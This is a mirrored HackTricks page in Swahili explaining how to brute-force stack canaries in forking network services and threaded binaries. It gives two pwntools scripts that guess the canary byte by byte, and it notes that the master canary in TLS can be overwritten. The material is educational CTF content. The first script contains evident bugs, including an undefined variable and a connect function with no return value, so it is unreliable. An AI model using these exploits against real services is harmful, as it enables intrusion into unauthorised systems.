mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
123 lines
5.0 KiB
Markdown
123 lines
5.0 KiB
Markdown
# BF Forked & Threaded Stack Canaries
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
**Ikiwa unakutana na binary iliyo na kinga ya canary na PIE (Position Independent Executable) huenda unahitaji kupata njia ya kuipita.**
|
|
|
|
.png>)
|
|
|
|
> [!TIP]
|
|
> Kumbuka kwamba **`checksec`** huenda isiweze kugundua kwamba binary ina kinga ya canary ikiwa hii ilikusanywa kwa njia ya statically na haiwezi kutambua kazi hiyo.\
|
|
> Hata hivyo, unaweza kugundua hili kwa mikono ikiwa unapata kwamba thamani imehifadhiwa kwenye stack mwanzoni mwa wito wa kazi na thamani hii inakaguliwa kabla ya kutoka.
|
|
|
|
## Brute force Canary
|
|
|
|
Njia bora ya kuipita canary rahisi ni ikiwa binary ni programu **inayo fork mchakato wa watoto kila wakati unapoanzisha muunganisho mpya** nayo (huduma ya mtandao), kwa sababu kila wakati unapojiunga nayo **canary ile ile itatumika**.
|
|
|
|
Basi, njia bora ya kuipita canary ni tu **kujaribu kwa nguvu kila herufi**, na unaweza kugundua ikiwa byte ya canary uliyokisia ilikuwa sahihi kwa kuangalia ikiwa programu imeanguka au inaendelea na mtiririko wake wa kawaida. Katika mfano huu kazi **ina jaribu kwa nguvu canary ya 8 Bytes (x64)** na kutofautisha kati ya byte iliyokisiwa sahihi na byte mbaya kwa **kuangalia** ikiwa **jibu** linatumwa nyuma na seva (njia nyingine katika **hali nyingine** inaweza kuwa kutumia **jaribu/ukose**):
|
|
|
|
### Mfano 1
|
|
|
|
Mfano huu umeandikwa kwa 64bits lakini unaweza kutekelezwa kwa urahisi kwa 32 bits.
|
|
```python
|
|
from pwn import *
|
|
|
|
def connect():
|
|
r = remote("localhost", 8788)
|
|
|
|
def get_bf(base):
|
|
canary = ""
|
|
guess = 0x0
|
|
base += canary
|
|
|
|
while len(canary) < 8:
|
|
while guess != 0xff:
|
|
r = connect()
|
|
|
|
r.recvuntil("Username: ")
|
|
r.send(base + chr(guess))
|
|
|
|
if "SOME OUTPUT" in r.clean():
|
|
print "Guessed correct byte:", format(guess, '02x')
|
|
canary += chr(guess)
|
|
base += chr(guess)
|
|
guess = 0x0
|
|
r.close()
|
|
break
|
|
else:
|
|
guess += 1
|
|
r.close()
|
|
|
|
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
|
|
return base
|
|
|
|
canary_offset = 1176
|
|
base = "A" * canary_offset
|
|
print("Brute-Forcing canary")
|
|
base_canary = get_bf(base) #Get yunk data + canary
|
|
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
|
|
```
|
|
### Mfano wa 2
|
|
|
|
Hii imewekwa kwa bit 32, lakini hii inaweza kubadilishwa kwa urahisi kuwa bit 64.\
|
|
Pia kumbuka kwamba kwa mfano huu **programu inatarajia kwanza byte moja kuashiria ukubwa wa ingizo** na payload.
|
|
```python
|
|
from pwn import *
|
|
|
|
# Here is the function to brute force the canary
|
|
def breakCanary():
|
|
known_canary = b""
|
|
test_canary = 0x0
|
|
len_bytes_to_read = 0x21
|
|
|
|
for j in range(0, 4):
|
|
# Iterate up to 0xff times to brute force all posible values for byte
|
|
for test_canary in range(0xff):
|
|
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
|
|
|
|
# Send the current input size
|
|
target.send(len_bytes_to_read.to_bytes(1, "little"))
|
|
|
|
# Send this iterations canary
|
|
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
|
|
|
|
# Scan in the output, determine if we have a correct value
|
|
output = target.recvuntil(b"exit.")
|
|
if b"YUM" in output:
|
|
# If we have a correct value, record the canary value, reset the canary value, and move on
|
|
print(" - next byte is: " + hex(test_canary))
|
|
known_canary = known_canary + test_canary.to_bytes(1, "little")
|
|
len_bytes_to_read += 1
|
|
break
|
|
|
|
# Return the canary
|
|
return known_canary
|
|
|
|
# Start the target process
|
|
target = process('./feedme')
|
|
#gdb.attach(target)
|
|
|
|
# Brute force the canary
|
|
canary = breakCanary()
|
|
log.info(f"The canary is: {canary}")
|
|
```
|
|
## Threads
|
|
|
|
Threads za mchakato mmoja pia **zitashiriki token ya canary** sawa, kwa hivyo itakuwa inawezekana **brute-force** canary ikiwa binary inazalisha thread mpya kila wakati shambulio linapotokea.
|
|
|
|
Zaidi ya hayo, **overflow ya buffer katika kazi iliyo na thread** iliyolindwa na canary inaweza kutumika **kubadilisha canary mkuu iliyohifadhiwa katika TLS**. Hii ni kwa sababu, inaweza kuwa inawezekana kufikia nafasi ya kumbukumbu ambapo TLS inahifadhiwa (na kwa hivyo, canary) kupitia **bof katika stack** ya thread.\
|
|
Matokeo yake, kinga ni bure kwa sababu ukaguzi unatumika na canaries mbili ambazo ni sawa (ingawa zimebadilishwa).\
|
|
Shambulio hili linafanywa katika andiko: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
|
|
|
|
Angalia pia uwasilishaji wa [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) ambayo inasema kwamba kwa kawaida **TLS** inahifadhiwa na **`mmap`** na wakati **stack** ya **thread** inaundwa pia inazalishwa na `mmap` kulingana na hii, ambayo inaweza kuruhusu overflow kama ilivyoonyeshwa katika andiko la awali.
|
|
|
|
## Other examples & references
|
|
|
|
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
|
|
- 64 bits, no PIE, nx, BF canary, andika katika kumbukumbu fulani ROP ili kuita `execve` na kuruka huko.
|
|
|
|
|
|
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|